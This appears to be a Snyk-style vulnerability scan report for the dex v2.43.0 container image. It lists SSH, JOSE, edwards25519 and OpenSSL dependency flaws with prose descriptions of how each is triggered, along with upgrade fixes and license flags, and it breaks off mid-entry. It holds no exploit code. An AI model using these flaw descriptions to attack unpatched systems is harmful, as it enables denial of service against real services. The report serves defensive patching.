- Manifest file: ghcr.io/dexidp/dex:v2.43.0/hairyhenderson/gomplate/v4 › /usr/local/bin/gomplate
- Package Manager: golang
- Vulnerable module: golang.org/x/crypto/ssh
- Introduced through: github.com/hairyhenderson/gomplate/v4@* and golang.org/x/crypto/ssh@v0.31.0

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v4@* › golang.org/x/crypto/ssh@v0.31.0

## Overview

golang.org/x/crypto/ssh is a SSH client and server

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the SSH servers. An attacker can exhaust system memory resources by sending GSSAPI authentication requests with an excessive number of mechanisms specified.

## Remediation

Upgrade `golang.org/x/crypto/ssh` to version 0.45.0 or higher.

## References

- Fix Commit
- GO-2025-4134
- go.dev Issue
- Google Groups Forum

More about this vulnerability

## Allocation of Resources Without Limits or Throttling

medium severity
Exploit: Not Defined

- Manifest file: ghcr.io/dexidp/dex:v2.43.0/hairyhenderson/gomplate/v4 › /usr/local/bin/gomplate
- Package Manager: golang
- Vulnerable module: golang.org/x/crypto/ssh
- Introduced through: github.com/hairyhenderson/gomplate/v4@* and golang.org/x/crypto/ssh@v0.31.0

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v4@* › golang.org/x/crypto/ssh@v0.31.0

## Overview

golang.org/x/crypto/ssh is a SSH client and server

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the public key parsers. An attacker can exhaust CPU resources by submitting crafted RSA or DSA public keys with excessively large parameters during signature verification. This can be triggered by unauthenticated clients during public key authentication.

## Remediation

Upgrade `golang.org/x/crypto/ssh` to version 0.52.0 or higher.

## References

- Go Advisory
- Go Commit
- Go Commit
- Go Issue
- Google Groups Forum

More about this vulnerability

## Integer Overflow or Wraparound

medium severity
Exploit: Not Defined

- Manifest file: ghcr.io/dexidp/dex:v2.43.0/hairyhenderson/gomplate/v4 › /usr/local/bin/gomplate
- Package Manager: golang
- Vulnerable module: golang.org/x/crypto/ssh
- Introduced through: github.com/hairyhenderson/gomplate/v4@* and golang.org/x/crypto/ssh@v0.31.0

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v4@* › golang.org/x/crypto/ssh@v0.31.0

## Overview

golang.org/x/crypto/ssh is a SSH client and server

Affected versions of this package are vulnerable to Integer Overflow or Wraparound in the payload size calculation within the `Write` process. An attacker can cause the process to enter an infinite loop and exhaust system resources by sending a single write operation with data larger than 4GB.

## Remediation

Upgrade `golang.org/x/crypto/ssh` to version 0.52.0 or higher.

## References

- Go Advisory
- Go Commit
- Go Issue
- Google Groups Forum

More about this vulnerability

## Missing Release of Resource after Effective Lifetime

medium severity
Exploit: Not Defined

- Manifest file: ghcr.io/dexidp/dex:v2.43.0/hairyhenderson/gomplate/v4 › /usr/local/bin/gomplate
- Package Manager: golang
- Vulnerable module: golang.org/x/crypto/ssh
- Introduced through: github.com/hairyhenderson/gomplate/v4@* and golang.org/x/crypto/ssh@v0.31.0

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v4@* › golang.org/x/crypto/ssh@v0.31.0

## Overview

golang.org/x/crypto/ssh is a SSH client and server

Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime through the handling of unsolicited global request responses, which can fill an internal buffer and block the connection's read loop. An attacker can cause a resource leak and prevent the release of blocked goroutines by sending unexpected responses.

## Remediation

Upgrade `golang.org/x/crypto/ssh` to version 0.52.0 or higher.

## References

- Go Advisory
- Go Commit
- Go Commit
- Go Issue
- Google Groups Forum

More about this vulnerability

## Incorrect Authorization

medium severity
Exploit: Not Defined

- Manifest file: ghcr.io/dexidp/dex:v2.43.0/hairyhenderson/gomplate/v4 › /usr/local/bin/gomplate
- Package Manager: golang
- Vulnerable module: golang.org/x/crypto/ssh
- Introduced through: github.com/hairyhenderson/gomplate/v4@* and golang.org/x/crypto/ssh@v0.31.0

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v4@* › golang.org/x/crypto/ssh@v0.31.0

## Overview

golang.org/x/crypto/ssh is a SSH client and server

Affected versions of this package are vulnerable to Incorrect Authorization. When an SSH server authentication callback returned PartialSuccessError with non-nil Permissions, those permissions were silently discarded, potentially dropping certificate restrictions such as force-command after a second factor succeeded. Returning non-nil Permissions with PartialSuccessError now results in a connection error.

## Remediation

Upgrade `golang.org/x/crypto/ssh` to version 0.52.0 or higher.

## References

- Go Advisory
- Go Commit
- Go Issue
- Google Groups Forum

More about this vulnerability

## Incorrect Authorization

medium severity
Exploit: Not Defined

- Manifest file: ghcr.io/dexidp/dex:v2.43.0/hairyhenderson/gomplate/v4 › /usr/local/bin/gomplate
- Package Manager: golang
- Vulnerable module: golang.org/x/crypto/ssh
- Introduced through: github.com/hairyhenderson/gomplate/v4@* and golang.org/x/crypto/ssh@v0.31.0

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v4@* › golang.org/x/crypto/ssh@v0.31.0

## Overview

golang.org/x/crypto/ssh is a SSH client and server

Affected versions of this package are vulnerable to Incorrect Authorization due to improper enforcement of permissions in the `VerifiedPublicKeyCallback` process. An attacker can bypass source-address validation by passing a callback type other than public key.

## Remediation

Upgrade `golang.org/x/crypto/ssh` to version 0.52.0 or higher.

## References

- Go Advisory
- Go Commit
- Go Issue
- Google Groups Forum

More about this vulnerability

## MPL-2.0 license

medium severity

- Manifest file: ghcr.io/dexidp/dex:v2.43.0/hairyhenderson/gomplate/v4 › /usr/local/bin/gomplate
- Package Manager: golang
- Module: github.com/hashicorp/vault/api
- Introduced through: github.com/hairyhenderson/gomplate/v4@* and github.com/hashicorp/vault/api@v1.15.0

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v4@* › github.com/hashicorp/vault/api@v1.15.0

MPL-2.0 license

More about this vulnerability

## MPL-2.0 license

medium severity

- Manifest file: ghcr.io/dexidp/dex:v2.43.0/hairyhenderson/gomplate/v4 › /usr/local/bin/gomplate
- Package Manager: golang
- Module: github.com/hashicorp/serf/coordinate
- Introduced through: github.com/hairyhenderson/gomplate/v4@* and github.com/hashicorp/serf/coordinate@v0.10.1

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v4@* › github.com/hashicorp/serf/coordinate@v0.10.1

MPL-2.0 license

More about this vulnerability

## MPL-2.0 license

medium severity

- Manifest file: ghcr.io/dexidp/dex:v2.43.0/dexidp/dex › /usr/local/bin/dex
- Package Manager: golang
- Module: github.com/hashicorp/hcl/v2
- Introduced through: github.com/dexidp/dex@* and github.com/hashicorp/hcl/v2@v2.13.0

### Detailed paths

- Introduced through: github.com/dexidp/dex@* › github.com/hashicorp/hcl/v2@v2.13.0
- Introduced through: github.com/dexidp/dex@* › github.com/hashicorp/hcl/v2/ext/customdecode@v2.13.0
- Introduced through: github.com/dexidp/dex@* › github.com/hashicorp/hcl/v2/ext/tryfunc@v2.13.0
- Introduced through: github.com/dexidp/dex@* › github.com/hashicorp/hcl/v2/gohcl@v2.13.0
- Introduced through: github.com/dexidp/dex@* › github.com/hashicorp/hcl/v2/hclparse@v2.13.0
- Introduced through: github.com/dexidp/dex@* › github.com/hashicorp/hcl/v2/hclsyntax@v2.13.0
- Introduced through: github.com/dexidp/dex@* › github.com/hashicorp/hcl/v2/hclwrite@v2.13.0
- Introduced through: github.com/dexidp/dex@* › github.com/hashicorp/hcl/v2/json@v2.13.0

MPL-2.0 license

More about this vulnerability

## MPL-2.0 license

medium severity

- Manifest file: ghcr.io/dexidp/dex:v2.43.0/hairyhenderson/gomplate/v4 › /usr/local/bin/gomplate
- Package Manager: golang
- Module: github.com/hashicorp/hcl
- Introduced through: github.com/hairyhenderson/gomplate/v4@* and github.com/hashicorp/hcl@v1.0.0

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v4@* › github.com/hashicorp/hcl@v1.0.0
- Introduced through: github.com/hairyhenderson/gomplate/v4@* › github.com/hashicorp/hcl/hcl/token@v1.0.0

MPL-2.0 license

More about this vulnerability

## MPL-2.0 license

medium severity

- Manifest file: ghcr.io/dexidp/dex:v2.43.0/hairyhenderson/gomplate/v4 › /usr/local/bin/gomplate
- Package Manager: golang
- Module: github.com/hashicorp/golang-lru/simplelru
- Introduced through: github.com/hairyhenderson/gomplate/v4@* and github.com/hashicorp/golang-lru/simplelru@v1.0.2

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v4@* › github.com/hashicorp/golang-lru/simplelru@v1.0.2

MPL-2.0 license

More about this vulnerability

## MPL-2.0 license

medium severity

- Manifest file: ghcr.io/dexidp/dex:v2.43.0/hairyhenderson/gomplate/v4 › /usr/local/bin/gomplate
- Package Manager: golang
- Module: github.com/hashicorp/go-uuid
- Introduced through: github.com/hairyhenderson/gomplate/v4@* and github.com/hashicorp/go-uuid@v1.0.3

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v4@* › github.com/hashicorp/go-uuid@v1.0.3

MPL-2.0 license

More about this vulnerability

## MPL-2.0 license

medium severity

- Manifest file: ghcr.io/dexidp/dex:v2.43.0/hairyhenderson/gomplate/v4 › /usr/local/bin/gomplate
- Package Manager: golang
- Module: github.com/hashicorp/go-sockaddr
- Introduced through: github.com/hairyhenderson/gomplate/v4@* and github.com/hashicorp/go-sockaddr@v1.0.7

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v4@* › github.com/hashicorp/go-sockaddr@v1.0.7
- Introduced through: github.com/hairyhenderson/gomplate/v4@* › github.com/hashicorp/go-sockaddr/template@v1.0.7

MPL-2.0 license

More about this vulnerability

## MPL-2.0 license

medium severity

- Manifest file: ghcr.io/dexidp/dex:v2.43.0/hairyhenderson/gomplate/v4 › /usr/local/bin/gomplate
- Package Manager: golang
- Module: github.com/hashicorp/go-secure-stdlib/strutil
- Introduced through: github.com/hairyhenderson/gomplate/v4@* and github.com/hashicorp/go-secure-stdlib/strutil@v0.1.2

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v4@* › github.com/hashicorp/go-secure-stdlib/strutil@v0.1.2

MPL-2.0 license

More about this vulnerability

## MPL-2.0 license

medium severity

- Manifest file: ghcr.io/dexidp/dex:v2.43.0/hairyhenderson/gomplate/v4 › /usr/local/bin/gomplate
- Package Manager: golang
- Module: github.com/hashicorp/go-secure-stdlib/parseutil
- Introduced through: github.com/hairyhenderson/gomplate/v4@* and github.com/hashicorp/go-secure-stdlib/parseutil@v0.1.8

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v4@* › github.com/hashicorp/go-secure-stdlib/parseutil@v0.1.8

MPL-2.0 license

More about this vulnerability

## MPL-2.0 license

medium severity

- Manifest file: ghcr.io/dexidp/dex:v2.43.0/hairyhenderson/gomplate/v4 › /usr/local/bin/gomplate
- Package Manager: golang
- Module: github.com/hashicorp/go-secure-stdlib/awsutil
- Introduced through: github.com/hairyhenderson/gomplate/v4@* and github.com/hashicorp/go-secure-stdlib/awsutil@v0.3.0

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v4@* › github.com/hashicorp/go-secure-stdlib/awsutil@v0.3.0

MPL-2.0 license

More about this vulnerability

## MPL-2.0 license

medium severity

- Manifest file: ghcr.io/dexidp/dex:v2.43.0/hairyhenderson/gomplate/v4 › /usr/local/bin/gomplate
- Package Manager: golang
- Module: github.com/hashicorp/go-rootcerts
- Introduced through: github.com/hairyhenderson/gomplate/v4@* and github.com/hashicorp/go-rootcerts@v1.0.2

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v4@* › github.com/hashicorp/go-rootcerts@v1.0.2

MPL-2.0 license

More about this vulnerability

## MPL-2.0 license

medium severity

- Manifest file: ghcr.io/dexidp/dex:v2.43.0/hairyhenderson/gomplate/v4 › /usr/local/bin/gomplate
- Package Manager: golang
- Module: github.com/hashicorp/go-retryablehttp
- Introduced through: github.com/hairyhenderson/gomplate/v4@* and github.com/hashicorp/go-retryablehttp@v0.7.7

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v4@* › github.com/hashicorp/go-retryablehttp@v0.7.7

MPL-2.0 license

More about this vulnerability

## MPL-2.0 license

medium severity

- Manifest file: ghcr.io/dexidp/dex:v2.43.0/hairyhenderson/gomplate/v4 › /usr/local/bin/gomplate
- Package Manager: golang
- Module: github.com/hashicorp/go-multierror
- Introduced through: github.com/hairyhenderson/gomplate/v4@* and github.com/hashicorp/go-multierror@v1.1.1

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v4@* › github.com/hashicorp/go-multierror@v1.1.1

MPL-2.0 license

More about this vulnerability

## MPL-2.0 license

medium severity

- Manifest file: ghcr.io/dexidp/dex:v2.43.0/hairyhenderson/gomplate/v4 › /usr/local/bin/gomplate
- Package Manager: golang
- Module: github.com/hashicorp/go-immutable-radix
- Introduced through: github.com/hairyhenderson/gomplate/v4@* and github.com/hashicorp/go-immutable-radix@v1.3.1

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v4@* › github.com/hashicorp/go-immutable-radix@v1.3.1

MPL-2.0 license

More about this vulnerability

## MPL-2.0 license

medium severity

- Manifest file: ghcr.io/dexidp/dex:v2.43.0/hairyhenderson/gomplate/v4 › /usr/local/bin/gomplate
- Package Manager: golang
- Module: github.com/hashicorp/go-cleanhttp
- Introduced through: github.com/hairyhenderson/gomplate/v4@* and github.com/hashicorp/go-cleanhttp@v0.5.2

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v4@* › github.com/hashicorp/go-cleanhttp@v0.5.2

MPL-2.0 license

More about this vulnerability

## MPL-2.0 license

medium severity

- Manifest file: ghcr.io/dexidp/dex:v2.43.0/hairyhenderson/gomplate/v4 › /usr/local/bin/gomplate
- Package Manager: golang
- Module: github.com/hashicorp/errwrap
- Introduced through: github.com/hairyhenderson/gomplate/v4@* and github.com/hashicorp/errwrap@v1.1.0

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v4@* › github.com/hashicorp/errwrap@v1.1.0

MPL-2.0 license

More about this vulnerability

## MPL-2.0 license

medium severity

- Manifest file: ghcr.io/dexidp/dex:v2.43.0/hairyhenderson/gomplate/v4 › /usr/local/bin/gomplate
- Package Manager: golang
- Module: github.com/gosimple/slug
- Introduced through: github.com/hairyhenderson/gomplate/v4@* and github.com/gosimple/slug@v1.14.0

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v4@* › github.com/gosimple/slug@v1.14.0

MPL-2.0 license

More about this vulnerability

## MPL-2.0 license

medium severity

- Manifest file: ghcr.io/dexidp/dex:v2.43.0/dexidp/dex › /usr/local/bin/dex
- Package Manager: golang
- Module: github.com/go-sql-driver/mysql
- Introduced through: github.com/dexidp/dex@* and github.com/go-sql-driver/mysql@v1.9.2

### Detailed paths

- Introduced through: github.com/dexidp/dex@* › github.com/go-sql-driver/mysql@v1.9.2

MPL-2.0 license

More about this vulnerability

## Allocation of Resources Without Limits or Throttling

medium severity
Exploit: Not Defined

- Manifest file: ghcr.io/dexidp/dex:v2.43.0/hairyhenderson/gomplate/v4 › /usr/local/bin/gomplate
- Package Manager: golang
- Vulnerable module: github.com/go-jose/go-jose/v4
- Introduced through: github.com/hairyhenderson/gomplate/v4@* and github.com/go-jose/go-jose/v4@v4.0.2

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v4@* › github.com/go-jose/go-jose/v4@v4.0.2

## Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the use of `strings.Split` to split JWT tokens. An attacker can cause memory exhaustion and service disruption by sending numerous malformed tokens with a large number of `.` characters.

## Workaround

This vulnerability can be mitigated by pre-validating that payloads passed to Go JOSE do not contain an excessive number of `.` characters.

## Remediation

Upgrade `github.com/go-jose/go-jose/v4` to version 4.0.5 or higher.

## References

- GitHub Commit
- GitHub Release

More about this vulnerability

## Improper Initialization

medium severity
Exploit: Not Defined

- Manifest file: ghcr.io/dexidp/dex:v2.43.0/dexidp/dex › /usr/local/bin/dex
- Package Manager: golang
- Vulnerable module: filippo.io/edwards25519
- Introduced through: github.com/dexidp/dex@* and filippo.io/edwards25519@v1.1.0

### Detailed paths

- Introduced through: github.com/dexidp/dex@* › filippo.io/edwards25519@v1.1.0

## Overview

Affected versions of this package are vulnerable to Improper Initialization via the `MultiScalarMult` function when the receiver is not properly initialized. An attacker can cause invalid results or undefined behavior by invoking this function on an uninitialized or non-identity receiver.

## Remediation

Upgrade `filippo.io/edwards25519` to version 1.1.1 or higher.

## References

- GitHub Commit
- GitHub Release

More about this vulnerability

## CVE-2025-9230

low severity
Exploit: Not Defined

- Package Manager: alpine:3.21
- Vulnerable module: openssl/libcrypto3
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 and openssl/libcrypto3@3.3.3-r0

### Detailed paths

- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › apk-tools/apk-tools@2.14.6-r3 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › busybox/ssl_client@1.37.0-r12 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › apk-tools/apk-tools@2.14.6-r3 › openssl/libssl3@3.3.3-r0 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › openssl/libssl3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › apk-tools/apk-tools@2.14.6-r3 › openssl/libssl3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › busybox/ssl_client@1.37.0-r12 › openssl/libssl3@3.3.3-r0

## NVD Description

Note: Versions mentioned in the description apply only to the upstream `openssl` package and not the `openssl` package as distributed by `Alpine`. See `How to fix?` for `Alpine:3.21` relevant fixed versions and status.

Issue summary: An application trying to decrypt CMS messages encrypted using password based encryption can trigger an out-of-bounds read and write.

Impact summary: This out-of-bounds read may trigger a crash which leads to Denial of Service for an application. The out-of-bounds write can cause a memory corruption which can have various consequences including a Denial of Service or Execution of attacker-supplied code.

Although the consequences of a successful exploit of this vulnerability could be severe, the probability that the attacker would be able to perform it is low. Besides, password based (PWRI) encryption support in CMS messages is very rarely used. For that reason the issue was assessed as Moderate severity according to our Security Policy.

The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as the CMS implementation is outside the OpenSSL FIPS module boundary.

## Remediation

Upgrade `Alpine:3.21` `openssl` to version 3.3.5-r0 or higher.

## References

- https://github.com/openssl/openssl/commit/5965ea5dd6960f36d8b7f74f8eac67a8eb8f2b45
- https://github.com/openssl/openssl/commit/9e91358f365dee6c446dcdcdb01c04d2743fd280
- https://github.com/openssl/openssl/commit/a79c4ce559c6a3a8fd4109e9f33c1185d5bf2def
- https://github.com/openssl/openssl/commit/b5282d677551afda7d20e9c00e09561b547b2dfd
- https://github.com/openssl/openssl/commit/bae259a211ada6315dc50900686daaaaaa55f482
- https://github.openssl.org/openssl/extended-releases/commit/c2b96348bfa662f25f4fabf81958ae822063dae3
- https://github.openssl.org/openssl/extended-releases/commit/dfbaf161d8dafc1132dd88cd48ad990ed9b4c8ba
- https://openssl-library.org/news/secadv/20250930.txt
- https://lists.debian.org/debian-lts-announce/2025/10/msg00001.html
- http://www.openwall.com/lists/oss-security/2025/09/30/5
- https://cert-portal.siemens.com/productcert/html/ssa-032379.html
- https://cert-portal.siemens.com/productcert/html/ssa-082556.html
- https://cert-portal.siemens.com/productcert/html/ssa-089022.html
- https://cert-portal.siemens.com/productcert/html/ssa-265688.html
- https://cert-portal.siemens.com/productcert/html/ssa-485750.html
- https://cert-portal.siemens.com/productcert/html/ssa-253495.html

More about this vulnerability

## CVE-2025-9231

low severity
Exploit: Not Defined

- Package Manager: alpine:3.21
- Vulnerable module: openssl/libcrypto3
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 and openssl/libcrypto3@3.3.3-r0

### Detailed paths

- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › apk-tools/apk-tools@2.14.6-r3 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › busybox/ssl_client@1.37.0-r12 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › apk-tools/apk-tools@2.14.6-r3 › openssl/libssl3@3.3.3-r0 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › openssl/libssl3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › apk-tools/apk-tools@2.14.6-r3 › openssl/libssl3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › busybox/ssl_client@1.37.0-r12 › openssl/libssl3@3.3.3-r0

## NVD Description

Note: Versions mentioned in the description apply only to the upstream `openssl` package and not the `openssl` package as distributed by `Alpine`. See `How to fix?` for `Alpine:3.21` relevant fixed versions and status.

Issue summary: A timing side-channel which could potentially allow remote recovery of the private key exists in the SM2 algorithm implementation on 64 bit ARM platforms.

Impact summary: A timing side-channel in SM2 signature computations on 64 bit ARM platforms could allow recovering the private key by an attacker..

While remote key recovery over a network was not attempted by the reporter, timing measurements revealed a timing signal which may allow such an attack.

OpenSSL does not directly support certificates with SM2 keys in TLS, and so this CVE is not relevant in most TLS contexts. However, given that it is possible to add support for such certificates via a custom provider, coupled with the fact that in such a custom provider context the private key may be recoverable via remote timing measurements, we consider this to be a Moderate severity issue.

The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as SM2 is not an approved algorithm.

## Remediation

Upgrade `Alpine:3.21` `openssl` to version 3.3.5-r0 or higher.

## References

- https://github.com/openssl/openssl/commit/567f64386e43683888212226824b6a179885a0fe
- https://github.com/openssl/openssl/commit/cba616c26ac8e7b37de5e77762e505ba5ca51698
- https://github.com/openssl/openssl/commit/eed5adc9f969d77c94f213767acbb41ff923b6f4
- https://github.com/openssl/openssl/commit/fc47a2ec078912b3e914fab5734535e76c4820c2
- https://openssl-library.org/news/secadv/20250930.txt
- http://www.openwall.com/lists/oss-security/2025/09/30/5
- http://www.openwall.com/lists/oss-security/2026/05/11/11
- https://cert-portal.siemens.com/productcert/html/ssa-032379.html
- https://cert-portal.siemens.com/productcert/html/ssa-089022.html
- https://cert-portal.siemens.com/productcert/html/ssa-253495.html

More about this vulnerability

## CVE-2025-9232

low severity
Exploit: Not Defined

- Package Manager: alpine:3.21
- Vulnerable module: openssl/libcrypto3
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 and openssl/libcrypto3@3.3.3-r0

### Detailed paths

- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › apk-tools/apk-tools@2.14.6-r3 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › busybox/ssl_client@1.37.0-r12 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › apk-tools/apk-tools@2.14.6-r3 › openssl/libssl3@3.3.3-r0 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › openssl/libssl3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › apk-tools/apk-tools@2.14.6-r3 › openssl/libssl3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › busybox/ssl_client@1.37.0-r12 › openssl/libssl3@3.3.3-r0

## NVD Description

Note: Versions mentioned in the description apply only to the upstream `openssl` package and not the `openssl` package as distributed by `Alpine`. See `How to fix?` for `Alpine:3.21` relevant fixed versions and status.

Issue summary: An application using the OpenSSL HTTP client API functions may trigger an out-of-bounds read if the 'no_proxy' environment variable is set and the host portion of the authority component of the HTTP URL is an IPv6 address.

Impact summary: An out-of-bounds read can trigger a crash which leads to Denial of Service for an application.

The OpenSSL HTTP client API functions can be used directly by applications but they are also used by the OCSP client functions and CMP (Certificate Management Protocol) client implementation in OpenSSL. However the URLs used by these implementations are unlikely to be controlled by an attacker.

In this vulnerable code the out of bounds read can only trigger a crash. Furthermore the vulnerability requires an attacker-controlled URL to be passed from an application to the OpenSSL function and the user has to have a 'no_proxy' environment variable set. For the aforementioned reasons the issue was assessed as Low severity.

The vulnerable code was introduced in the following patch releases: 3.0.16, 3.1.8, 3.2.4, 3.3.3, 3.4.0 and 3.5.0.

The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as the HTTP client implementation is outside the OpenSSL FIPS module boundary.

## Remediation

Upgrade `Alpine:3.21` `openssl` to version 3.3.5-r0 or higher.

## References

- https://github.com/openssl/openssl/commit/2b4ec20e47959170422922eaff25346d362dcb35
- https://github.com/openssl/openssl/commit/654dc11d23468a74fc8ea4672b702dd3feb7be4b
- https://github.com/openssl/openssl/commit/7cf21a30513c9e43c4bc3836c237cf086e194af3
- https://github.com/openssl/openssl/commit/89e790ac431125a4849992858490bed6b225eadf
- https://github.com/openssl/openssl/commit/bbf38c034cdabd0a13330abcc4855c866f53d2e0
- https://openssl-library.org/news/secadv/20250930.txt
- http://www.openwall.com/lists/oss-security/2025/09/30/5
- https://cert-portal.siemens.com/productcert/html/ssa-032379.html
- https://cert-portal.siemens.com/productcert/html/ssa-082556.html
- https://cert-portal.siemens.com/productcert/html/ssa-089022.html
- https://cert-portal.siemens.com/productcert/html/ssa-485750.html
- https://cert-portal.siemens.com/productcert/html/ssa-253495.html

More about this vulnerability

## CVE-2025-69419

low severity
Exploit: Not Defined

- Package Manager: alpine:3.21
- Vulnerable module: openssl/libcrypto3
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 and openssl/libcrypto3@3.3.3-r0

### Detailed paths

- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › apk-tools/apk-tools@2.14.6-r3 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › busybox/ssl_client@1.37.0-r12 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › apk-tools/apk-tools@2.14.6-r3 › openssl/libssl3@3.3.3-r0 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › openssl/libssl3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › apk-tools/apk-tools@2.14.6-r3 › openssl/libssl3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › busybox/ssl_client@1.37.0-r12 › openssl/libssl3@3.3.3-r0

## NVD Description

Note: Versions mentioned in the description apply only to the upstream `openssl` package and not the `openssl` package as distributed by `Alpine`. See `How to fix?` for `Alpine:3.21` relevant fixed versions and status.

Issue summary: Calling PKCS12_get_friendlyname() function on a maliciously crafted PKCS#12 file with a BMPString (UTF-16BE) friendly name containing non-ASCII BMP code point can trigger a one byte write before the allocated buffer.

Impact summary: The out-of-bounds write can cause a memory corruption which can have various consequences including a Denial of Service.

The OPENSSL_uni2utf8() function performs a two-pass conversion of a PKCS#12 BMPString (UTF-16BE) to UTF-8. In the second pass, when emitting UTF-8 bytes, the helper function bmp_to_utf8() incorrectly forwards the remaining UTF-16 source byte count as the destination buffer capacity to UTF8_putc(). For BMP code points above U+07FF, UTF-8 requires three bytes, but the forwarded capacity can be just two bytes. UTF8_putc() then returns -1, and this negative value is added to the output length without validation, causing the length to become negative. The subsequent trailing NUL byte is then written at a negative offset, causing write outside of heap allocated buffer.

The vulnerability is reachable via the public PKCS12_get_friendlyname() API when parsing attacker-controlled PKCS#12 files. While PKCS12_parse() uses a different code path that avoids this issue, PKCS12_get_friendlyname() directly invokes the vulnerable function. Exploitation requires an attacker to provide a malicious PKCS#12 file to be parsed by the application and the attacker can just trigger a one zero byte write before the allocated buffer. For that reason the issue was assessed as Low severity according to our Security Policy.

The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the PKCS#12 implementation is outside the OpenSSL FIPS module boundary.

OpenSSL 3.6, 3.5, 3.4, 3.3, 3.0 and 1.1.1 are vulnerable to this issue.

OpenSSL 1.0.2 is not affected by this issue.

## Remediation

Upgrade `Alpine:3.21` `openssl` to version 3.3.6-r0 or higher.

## References

- https://github.com/openssl/openssl/commit/41be0f216404f14457bbf3b9cc488dba60b49296
- https://github.com/openssl/openssl/commit/7e9cac9832e4705b91987c2474ed06a37a93cecb
- https://github.com/openssl/openssl/commit/a26a90d38edec3748566129d824e664b54bee2e2
- https://github.com/openssl/openssl/commit/cda12de3bc0e333ea8d2c6fd15001dbdaf280015
- https://github.com/openssl/openssl/commit/ff628933755075446bca8307e8417c14d164b535
- https://openssl-library.org/news/secadv/20260127.txt
- https://cert-portal.siemens.com/productcert/html/ssa-265688.html

More about this vulnerability

## CVE-2025-69418

low severity
Exploit: Not Defined

- Package Manager: alpine:3.21
- Vulnerable module: openssl/libcrypto3
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 and openssl/libcrypto3@3.3.3-r0

### Detailed paths

